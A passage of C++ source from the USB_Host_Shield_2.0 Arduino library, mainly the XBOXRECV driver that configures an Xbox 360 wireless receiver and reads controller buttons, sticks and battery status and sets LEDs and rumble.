getButtonPress(ButtonEnum b) will return a word if reading ::L2 or ::R2. */ uint16_t getButtonPress(ButtonEnum b); bool getButtonClick(ButtonEnum b); /** * Return the analog value from the joysticks on the controller. * @param a Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY. * @return Returns a signed 16-bit integer. */ int16_t getAnalogHat(AnalogHatEnum a); /** * Used to call your own function when the controller is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; }; /** Used to set the rumble off. */ void setRumbleOff(); /** * Used to turn on rumble continuously. * @param leftTrigger Left trigger force. * @param rightTrigger Right trigger force. * @param leftMotor Left motor force. * @param rightMotor Right motor force. */ void setRumbleOn(uint8_t leftTrigger, uint8_t rightTrigger, uint8_t leftMotor, uint8_t rightMotor); /**@}*/ /** True if a Xbox ONE controller is connected. */ bool XboxOneConnected; protected: /** Pointer to USB class instance. */ USB *pUsb; /** Device address. */ uint8_t bAddress; /** Endpoint info structure. */ EpInfo epInfo[XBOX_ONE_MAX_ENDPOINTS]; /** Configuration number. */ uint8_t bConfNum; /** Total number of endpoints in the configuration. */ uint8_t bNumEP; /** Next poll time based on poll interval taken from the USB descriptor. */ uint32_t qNextPollTime; /** @name UsbConfigXtracter implementation */ /** * UsbConfigXtracter implementation, used to extract endpoint information. * @param conf Configuration value. * @param iface Interface number. * @param alt Alternate setting. * @param proto Interface Protocol. * @param ep Endpoint Descriptor. */ void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); /**@}*/ /** * Used to print the USB Endpoint Descriptor. * @param ep_ptr Pointer to USB Endpoint Descriptor. */ void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr); private: /** * Called when the controller is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. */ void onInit(); void (*pFuncOnInit)(void); // Pointer to function called in onInit() uint8_t pollInterval; bool bPollEnable; /* Variables to store the buttons */ uint16_t ButtonState; uint16_t OldButtonState; uint16_t ButtonClickState; int16_t hatValue[4]; uint16_t triggerValue[2]; uint16_t triggerValueOld[2]; bool L2Clicked; // These buttons are analog, so we use we use these bools to check if they where clicked or not bool R2Clicked; uint8_t readBuf[XBOX_ONE_EP_MAXPKTSIZE]; // General purpose buffer for input data uint8_t cmdCounter; void readReport(); // Used to read the incoming data /* Private commands */ uint8_t XboxCommand(uint8_t* data, uint16_t nbytes); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXRECV.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com getBatteryLevel and checkStatus functions made by timstamp.co.uk found using BusHound from Perisoft.net */ #include "XBOXRECV.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the Xbox 360 Controller XBOXRECV::XBOXRECV(USB *p) : pUsb(p), // pointer to USB class instance - mandatory bAddress(0), // device address - mandatory bPollEnable(false) { // don't start polling before dongle is connected for(uint8_t i = 0; i < XBOX_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } if(pUsb) // register in USB subsystem pUsb->RegisterDeviceClass(this); //set devConfig[] entry } uint8_t XBOXRECV::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint16_t PID, VID; AddressPool &addrPool = pUsb->GetAddressPool(); // Get memory address of USB device address pool #ifdef EXTRADEBUG Notify(PSTR("\r\nXBOXRECV Init"), 0x80); #endif if(bAddress) { // Check if address has already been assigned to an instance #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress in use"), 0x80); #endif return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } p = addrPool.GetUsbDevicePtr(0); // Get pointer to pseudo device with address 0 assigned if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nepinfo is null"), 0x80); #endif return USB_ERROR_EPINFO_IS_NULL; } oldep_ptr = p->epinfo; // Save old pointer to EP_RECORD of address 0 p->epinfo = epInfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->lowspeed = lowspeed; rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data p->epinfo = oldep_ptr; // Restore p->epinfo if(rcode) goto FailGetDevDescr; VID = udd->idVendor; PID = udd->idProduct; if((VID != XBOX_VID && VID != MADCATZ_VID && VID != JOYTECH_VID) || (PID != XBOX_WIRELESS_RECEIVER_PID && PID != XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID)) { // Check if it's a Xbox receiver using the Vendor ID and Product ID #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nYou'll need a wireless receiver for this libary to work"), 0x80); #endif goto FailUnknownDevice; } bAddress = addrPool.AllocAddress(parent, false, port); // Allocate new address according to device class if(!bAddress) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nOut of address space"), 0x80); #endif return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; } epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Extract Max Packet Size from device descriptor delay(20); // Wait a little before resetting device return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET; /* Diagnostic messages */ FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(rcode); #endif if(rcode != hrJERR) rcode = USB_ERROR_FailGetDevDescr; goto Fail; FailUnknownDevice: #ifdef DEBUG_USB_HOST NotifyFailUnknownDevice(VID, PID); #endif rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; Fail: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox 360 Init Failed, error code: "), 0x80); NotifyFail(rcode); #endif Release(); return rcode; }; uint8_t XBOXRECV::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) { uint8_t rcode; AddressPool &addrPool = pUsb->GetAddressPool(); #ifdef EXTRADEBUG Notify(PSTR("\r\nBTD Init"), 0x80); #endif UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } delay(300); // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); // Assign new address to the device if(rcode) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nsetAddr: "), 0x80); D_PrintHex (rcode, 0x80); #endif p->lowspeed = false; goto Fail; } #ifdef EXTRADEBUG Notify(PSTR("\r\nAddr: "), 0x80); D_PrintHex (bAddress, 0x80); #endif p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } p->lowspeed = lowspeed; rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); // Assign epInfo to epinfo pointer - only EP0 is known if(rcode) goto FailSetDevTblEntry; /* The application will work in reduced host mode, so we can save program and data memory space. After verifying the VID we will use known values for the configuration values for device, interface, endpoints and HID for the XBOX360 Wireless receiver */ /* Initialize data structures for endpoints of device */ epInfo[ XBOX_INPUT_PIPE_1 ].epAddr = 0x01; // XBOX 360 report endpoint - poll interval 1ms epInfo[ XBOX_INPUT_PIPE_1 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_INPUT_PIPE_1 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_INPUT_PIPE_1 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_INPUT_PIPE_1 ].bmSndToggle = 0; epInfo[ XBOX_INPUT_PIPE_1 ].bmRcvToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_1 ].epAddr = 0x01; // XBOX 360 output endpoint - poll interval 8ms epInfo[ XBOX_OUTPUT_PIPE_1 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_OUTPUT_PIPE_1 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_OUTPUT_PIPE_1 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_OUTPUT_PIPE_1 ].bmSndToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_1 ].bmRcvToggle = 0; epInfo[ XBOX_INPUT_PIPE_2 ].epAddr = 0x03; // XBOX 360 report endpoint - poll interval 1ms epInfo[ XBOX_INPUT_PIPE_2 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_INPUT_PIPE_2 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_INPUT_PIPE_2 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_INPUT_PIPE_2 ].bmSndToggle = 0; epInfo[ XBOX_INPUT_PIPE_2 ].bmRcvToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_2 ].epAddr = 0x03; // XBOX 360 output endpoint - poll interval 8ms epInfo[ XBOX_OUTPUT_PIPE_2 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_OUTPUT_PIPE_2 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_OUTPUT_PIPE_2 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_OUTPUT_PIPE_2 ].bmSndToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_2 ].bmRcvToggle = 0; epInfo[ XBOX_INPUT_PIPE_3 ].epAddr = 0x05; // XBOX 360 report endpoint - poll interval 1ms epInfo[ XBOX_INPUT_PIPE_3 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_INPUT_PIPE_3 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_INPUT_PIPE_3 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_INPUT_PIPE_3 ].bmSndToggle = 0; epInfo[ XBOX_INPUT_PIPE_3 ].bmRcvToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_3 ].epAddr = 0x05; // XBOX 360 output endpoint - poll interval 8ms epInfo[ XBOX_OUTPUT_PIPE_3 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_OUTPUT_PIPE_3 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_OUTPUT_PIPE_3 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_OUTPUT_PIPE_3 ].bmSndToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_3 ].bmRcvToggle = 0; epInfo[ XBOX_INPUT_PIPE_4 ].epAddr = 0x07; // XBOX 360 report endpoint - poll interval 1ms epInfo[ XBOX_INPUT_PIPE_4 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_INPUT_PIPE_4 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_INPUT_PIPE_4 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_INPUT_PIPE_4 ].bmSndToggle = 0; epInfo[ XBOX_INPUT_PIPE_4 ].bmRcvToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_4 ].epAddr = 0x07; // XBOX 360 output endpoint - poll interval 8ms epInfo[ XBOX_OUTPUT_PIPE_4 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_OUTPUT_PIPE_4 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_OUTPUT_PIPE_4 ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_OUTPUT_PIPE_4 ].bmSndToggle = 0; epInfo[ XBOX_OUTPUT_PIPE_4 ].bmRcvToggle = 0; rcode = pUsb->setEpInfoEntry(bAddress, 9, epInfo); if(rcode) goto FailSetDevTblEntry; delay(200); //Give time for address change rcode = pUsb->setConf(bAddress, epInfo[ XBOX_CONTROL_PIPE ].epAddr, 1); if(rcode) goto FailSetConfDescr; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox Wireless Receiver Connected\r\n"), 0x80); #endif XboxReceiverConnected = true; bPollEnable = true; checkStatusTimer = 0; // Reset timer return 0; // Successful configuration /* Diagnostic messages */ FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); #endif Fail: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox 360 Init Failed, error code: "), 0x80); NotifyFail(rcode); #endif Release(); return rcode; } /* Performs a cleanup after failed Init() attempt */ uint8_t XBOXRECV::Release() { XboxReceiverConnected = false; for(uint8_t i = 0; i < 4; i++) Xbox360Connected[i] = 0x00; pUsb->GetAddressPool().FreeAddress(bAddress); bAddress = 0; bPollEnable = false; return 0; } uint8_t XBOXRECV::Poll() { if(!bPollEnable) return 0; if(!checkStatusTimer || ((int32_t)((uint32_t)millis() - checkStatusTimer) > 3000)) { // Run checkStatus every 3 seconds checkStatusTimer = (uint32_t)millis(); checkStatus(); } uint8_t inputPipe; uint16_t bufferSize; for(uint8_t i = 0; i < 4; i++) { if(i == 0) inputPipe = XBOX_INPUT_PIPE_1; else if(i == 1) inputPipe = XBOX_INPUT_PIPE_2; else if(i == 2) inputPipe = XBOX_INPUT_PIPE_3; else inputPipe = XBOX_INPUT_PIPE_4; bufferSize = EP_MAXPKTSIZE; // This is the maximum number of bytes we want to receive pUsb->inTransfer(bAddress, epInfo[ inputPipe ].epAddr, &bufferSize, readBuf); if(bufferSize > 0) { // The number of received bytes #ifdef EXTRADEBUG Notify(PSTR("Bytes Received: "), 0x80); D_PrintHex (bufferSize, 0x80); Notify(PSTR("\r\n"), 0x80); #endif readReport(i); #ifdef PRINTREPORT printReport(i, bufferSize); // Uncomment "#define PRINTREPORT" to print the report send by the Xbox 360 Controller #endif } } return 0; } void XBOXRECV::readReport(uint8_t controller) { if(readBuf == NULL) return; // This report is send when a controller is connected and disconnected if(readBuf[0] == 0x08 && readBuf[1] != Xbox360Connected[controller]) { Xbox360Connected[controller] = readBuf[1]; #ifdef DEBUG_USB_HOST Notify(PSTR("Controller "), 0x80); Notify(controller, 0x80); #endif if(Xbox360Connected[controller]) { #ifdef DEBUG_USB_HOST const char* str = 0; switch(readBuf[1]) { case 0x80: str = PSTR(" as controller\r\n"); break; case 0x40: str = PSTR(" as headset\r\n"); break; case 0xC0: str = PSTR(" as controller+headset\r\n"); break; } Notify(PSTR(": connected"), 0x80); Notify(str, 0x80); #endif onInit(controller); } #ifdef DEBUG_USB_HOST else Notify(PSTR(": disconnected\r\n"), 0x80); #endif return; } // Controller status report if(readBuf[1] == 0x00 && readBuf[3] & 0x13 && readBuf[4] >= 0x22) { controllerStatus[controller] = ((uint16_t)readBuf[3] << 8) | readBuf[4]; return; } if(readBuf[1] != 0x01) // Check if it's the correct report - the receiver also sends different status reports return; // A controller must be connected if it's sending data if(!Xbox360Connected[controller]) Xbox360Connected[controller] |= 0x80; ButtonState[controller] = (uint32_t)(readBuf[9] | ((uint16_t)readBuf[8] << 8) | ((uint32_t)readBuf[7] << 16) | ((uint32_t)readBuf[6] << 24)); hatValue[controller][LeftHatX] = (int16_t)(((uint16_t)readBuf[11] << 8) | readBuf[10]); hatValue[controller][LeftHatY] = (int16_t)(((uint16_t)readBuf[13] << 8) | readBuf[12]); hatValue[controller][RightHatX] = (int16_t)(((uint16_t)readBuf[15] << 8) | readBuf[14]); hatValue[controller][RightHatY] = (int16_t)(((uint16_t)readBuf[17] << 8) | readBuf[16]); //Notify(PSTR("\r\nButtonState: "), 0x80); //PrintHex(ButtonState[controller], 0x80); if(ButtonState[controller] != OldButtonState[controller]) { buttonStateChanged[controller] = true; ButtonClickState[controller] = (ButtonState[controller] >> 16) & ((~OldButtonState[controller]) >> 16); // Update click state variable, but don't include the two trigger buttons L2 and R2 if(((uint8_t)OldButtonState[controller]) == 0 && ((uint8_t)ButtonState[controller]) != 0) // The L2 and R2 buttons are special as they are analog buttons R2Clicked[controller] = true; if((uint8_t)(OldButtonState[controller] >> 8) == 0 && (uint8_t)(ButtonState[controller] >> 8) != 0) L2Clicked[controller] = true; OldButtonState[controller] = ButtonState[controller]; } } void XBOXRECV::printReport(uint8_t controller __attribute__((unused)), uint8_t nBytes __attribute__((unused))) { //Uncomment "#define PRINTREPORT" to print the report send by the Xbox 360 Controller #ifdef PRINTREPORT if(readBuf == NULL) return; Notify(PSTR("Controller "), 0x80); Notify(controller, 0x80); Notify(PSTR(": "), 0x80); for(uint8_t i = 0; i < nBytes; i++) { D_PrintHex (readBuf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif } uint8_t XBOXRECV::getButtonPress(ButtonEnum b, uint8_t controller) { if(b == L2) // These are analog buttons return (uint8_t)(ButtonState[controller] >> 8); else if(b == R2) return (uint8_t)ButtonState[controller]; return (bool)(ButtonState[controller] & ((uint32_t)pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]) << 16)); } bool XBOXRECV::getButtonClick(ButtonEnum b, uint8_t controller) { if(b == L2) { if(L2Clicked[controller]) { L2Clicked[controller] = false; return true; } return false; } else if(b == R2) { if(R2Clicked[controller]) { R2Clicked[controller] = false; return true; } return false; } uint16_t button = pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]); bool click = (ButtonClickState[controller] & button); ButtonClickState[controller] &= ~button; // clear "click" event return click; } int16_t XBOXRECV::getAnalogHat(AnalogHatEnum a, uint8_t controller) { return hatValue[controller][a]; } bool XBOXRECV::buttonChanged(uint8_t controller) { bool state = buttonStateChanged[controller]; buttonStateChanged[controller] = false; return state; } /* ControllerStatus Breakdown ControllerStatus[controller] & 0x0001 // 0 ControllerStatus[controller] & 0x0002 // normal batteries, no rechargeable battery pack ControllerStatus[controller] & 0x0004 // controller starting up / settling ControllerStatus[controller] & 0x0008 // headset adapter plugged in, but no headphones connected (mute?) ControllerStatus[controller] & 0x0010 // 0 ControllerStatus[controller] & 0x0020 // 1 ControllerStatus[controller] & 0x0040 // battery level (high bit) ControllerStatus[controller] & 0x0080 // battery level (low bit) ControllerStatus[controller] & 0x0100 // 1 ControllerStatus[controller] & 0x0200 // 1 ControllerStatus[controller] & 0x0400 // headset adapter plugged in ControllerStatus[controller] & 0x0800 // 0 ControllerStatus[controller] & 0x1000 // 1 ControllerStatus[controller] & 0x2000 // 0 ControllerStatus[controller] & 0x4000 // 0 ControllerStatus[controller] & 0x8000 // 0 */ uint8_t XBOXRECV::getBatteryLevel(uint8_t controller) { return ((controllerStatus[controller] & 0x00C0) >> 6); } void XBOXRECV::XboxCommand(uint8_t controller, uint8_t* data, uint16_t nbytes) { #ifdef EXTRADEBUG uint8_t rcode; #endif uint8_t outputPipe; switch(controller) { case 0: outputPipe = XBOX_OUTPUT_PIPE_1; break; case 1: outputPipe = XBOX_OUTPUT_PIPE_2; break; case 2: outputPipe = XBOX_OUTPUT_PIPE_3; break; case 3: outputPipe = XBOX_OUTPUT_PIPE_4; break; default: return; } #ifdef EXTRADEBUG rcode = #endif pUsb->outTransfer(bAddress, epInfo[ outputPipe ].epAddr, nbytes, data); #ifdef EXTRADEBUG if(rcode) Notify(PSTR("Error sending Xbox message\r\n"), 0x80); #endif } void XBOXRECV::disconnect(uint8_t controller) { writeBuf[0] = 0x00; writeBuf[1] = 0x00; writeBuf[2] = 0x08; writeBuf[3] = 0xC0; XboxCommand(controller, writeBuf, 4); } void XBOXRECV::setLedRaw(uint8_t value, uint8_t controller) { writeBuf[0] = 0x00; writeBuf[1] = 0x00; writeBuf[2] = 0x08; writeBuf[3] = value | 0x40; XboxCommand(controller, writeBuf, 4); } void XBOXRECV::setLedOn(LEDEnum led, uint8_t controller) { if(led == OFF) setLedRaw(0, controller); else if(led != ALL) // All LEDs can't be on a the same time setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led]) + 4, controller); } void XBOXRECV::setLedBlink(LEDEnum led, uint8_t controller) { setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led]), controller); } void XBOXRECV::setLedMode(LEDModeEnum ledMode, uint8_t controller) { // This function is used to do some speciel LED stuff the controller supports setLedRaw((uint8_t)ledMode, controller); } /* PC runs this at interval of approx 2 seconds Thanks to BusHound from Perisoft.net for the Windows USB Analysis output Found by timstamp.co.uk */ void XBOXRECV::checkStatus() { if(!bPollEnable) return; // Get controller info writeBuf[0] = 0x08; writeBuf[1] = 0x00; writeBuf[2] = 0x0f; writeBuf[3] = 0xc0; for(uint8_t i = 0; i < 4; i++) { XboxCommand(i, writeBuf, 4); } // Get battery status writeBuf[0] = 0x00; writeBuf[1] = 0x00; writeBuf[2] = 0x00; writeBuf[3] = 0x40; for(uint8_t i = 0; i < 4; i++) { if(Xbox360Connected[i]) XboxCommand(i, writeBuf, 4); } } void XBOXRECV::setRumbleOn(uint8_t lValue, uint8_t rValue, uint8_t controller) { writeBuf[0] = 0x00; writeBuf[1] = 0x01; writeBuf[2] = 0x0f; writeBuf[3] = 0xc0; writeBuf[4] = 0x00; writeBuf[5] = lValue; // big weight writeBuf[6] = rValue; // small weight XboxCommand(controller, writeBuf, 7); } void XBOXRECV::onInit(uint8_t controller) { if(pFuncOnInit) pFuncOnInit(); // Call the user function else { LEDEnum led; if(controller == 0) led = static_cast(LED1); else if(controller == 1) led = static_cast(LED2); else if(controller == 2) led = static_cast(LED3); else led = static_cast(LED4); setLedOn(led, controller); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXRECV.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com getBatteryLevel and checkStatus functions made by timstamp.co.uk found using BusHound from Perisoft.net */ #ifndef _xboxrecv_h_ #define _xboxrecv_h_ #include "Usb.h" #include "xboxEnums.h" /* Data Xbox 360 taken from descriptors */ #define EP_MAXPKTSIZE 32 // max size for data via USB /* Names we give to the 9 Xbox360 pipes */ #define XBOX_CONTROL_PIPE 0 #define XBOX_INPUT_PIPE_1 1 #define XBOX_OUTPUT_PIPE_1 2 #define XBOX_INPUT_PIPE_2 3 #define XBOX_OUTPUT_PIPE_2 4 #define XBOX_INPUT_PIPE_3 5 #define XBOX_OUTPUT_PIPE_3 6 #define XBOX_INPUT_PIPE_4 7 #define XBOX_OUTPUT_PIPE_4 8 // PID and VID of the different devices #define XBOX_VID 0x045E // Microsoft Corporation #define MADCATZ_VID 0x1BAD // For unofficial Mad Catz receivers #define JOYTECH_VID 0x162E // For unofficial Joytech controllers #define XBOX_WIRELESS_RECEIVER_PID 0x0719 // Microsoft Wireless Gaming Receiver #define XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID 0x0291 // Third party Wireless Gaming Receiver #define XBOX_MAX_ENDPOINTS 9 /** * This class implements support for a Xbox Wireless receiver. * * Up to four controllers can connect to one receiver, if more is needed one can use a second receiver via the USBHub class. */ class XBOXRECV : public USBDeviceConfig { public: /** * Constructor for the XBOXRECV class. * @param pUsb Pointer to USB class instance. */ XBOXRECV(USB *pUsb); /** @name USBDeviceConfig implementation */ /** * Address assignment and basic initilization is done here. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed); /** * Initialize the Xbox wireless receiver. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); /** * Release the USB device. * @return 0 on success. */ uint8_t Release(); /** * Poll the USB Input endpoins and run the state machines. * @return 0 on success. */ uint8_t Poll(); /** * Get the device address. * @return The device address. */ virtual uint8_t GetAddress() { return bAddress; }; /** * Used to check if the controller has been initialized. * @return True if it's ready. */ virtual bool isReady() { return bPollEnable; }; /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return ((vid == XBOX_VID || vid == MADCATZ_VID || vid == JOYTECH_VID) && (pid == XBOX_WIRELESS_RECEIVER_PID || pid == XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID)); }; /**@}*/ /** @name Xbox Controller functions */ /** * getButtonPress(uint8_t controller, ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(uint8_t controller, ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(uint8_t controller, ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(uint8_t controller, ButtonEnum b). * @param b ::ButtonEnum to read. * @param controller The controller to read from. Default to 0. * @return getButtonClick(uint8_t controller, ButtonEnum b) will return a bool, while getButtonPress(uint8_t controller, ButtonEnum b) will return a byte if reading ::L2 or ::R2. */ uint8_t getButtonPress(ButtonEnum b, uint8_t controller = 0); bool getButtonClick(ButtonEnum b, uint8_t controller = 0); /**@}*/ /** @name Xbox Controller functions */ /** * Return the analog value from the joysticks on the controller. * @param a Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY. * @param controller The controller to read from. Default to 0. * @return Returns a signed 16-bit integer. */ int16_t getAnalogHat(AnalogHatEnum a, uint8_t controller = 0); /** * Used to disconnect any of the controllers. * @param controller The controller to disconnect. Default to 0. */ void disconnect(uint8_t controller = 0); /** * Turn rumble off and all the LEDs on the specific controller. * @param controller The controller to write to. Default to 0. */ void setAllOff(uint8_t controller = 0) { setRumbleOn(0, 0, controller); setLedOff(controller); }; /** * Turn rumble off the specific controller. * @param controller The controller to write to. Default to 0. */ void setRumbleOff(uint8_t controller = 0) { setRumbleOn(0, 0, controller); }; /** * Turn rumble on. * @param lValue Left motor (big weight) inside the controller. * @param rValue Right motor (small weight) inside the controller. * @param controller The controller to write to. Default to 0. */ void setRumbleOn(uint8_t lValue, uint8_t rValue, uint8_t controller = 0); /** * Set LED value. Without using the ::LEDEnum or ::LEDModeEnum. * @param value See: * setLedOff(uint8_t controller), setLedOn(uint8_t controller, LED l), * setLedBlink(uint8_t controller, LED l), and setLedMode(uint8_t controller, LEDMode lm). * @param controller The controller to write to. Default to 0. */ void setLedRaw(uint8_t value, uint8_t controller = 0); /** * Turn all LEDs off the specific controller. * @param controller The controller to write to. Default to 0. */ void setLedOff(uint8_t controller = 0) { setLedRaw(0, controller); }; /** * Turn on a LED by using ::LEDEnum. * @param l ::OFF, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller. * @param controller The controller to write to. Default to 0. */ void setLedOn(LEDEnum l, uint8_t controller = 0); /** * Turn on a LED by using ::LEDEnum. * @param l ::ALL, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller. * @param controller The controller to write to. Default to 0. */ void setLedBlink(LEDEnum l, uint8_t controller = 0); /** * Used to set special LED modes supported by the Xbox controller. * @param lm See ::LEDModeEnum. * @param controller The controller to write to. Default to 0. */ void setLedMode(LEDModeEnum lm, uint8_t controller = 0); /** * Used to get the battery level from the controller. * @param controller The controller to read from. Default to 0. * @return Returns the battery level as an integer in the range of 0-3. */ uint8_t getBatteryLevel(uint8_t controller = 0); /** * Used to check if a button has changed. * @param controller The controller to read from. Default to 0. * @return True if a button has changed. */ bool buttonChanged(uint8_t controller = 0); /** * Used to call your own function when the controller is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; }; /**@}*/ /** True if a wireless receiver is connected. */ bool XboxReceiverConnected; /** Variable used to indicate if the XBOX 360 controller is successfully connected. */ uint8_t Xbox360Connected[4]; protected: /** Pointer to USB class instance. */ USB *pUsb; /** Device address. */ uint8_t bAddress; /** Endpoint info structure. */ EpInfo epInfo[XBOX_MAX_ENDPOINTS]; private: /** * Called when the controller is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. * @param controller The initialized controller. */ void onInit(uint8_t controller); void (*pFuncOnInit)(void); // Pointer to function called in onInit() bool 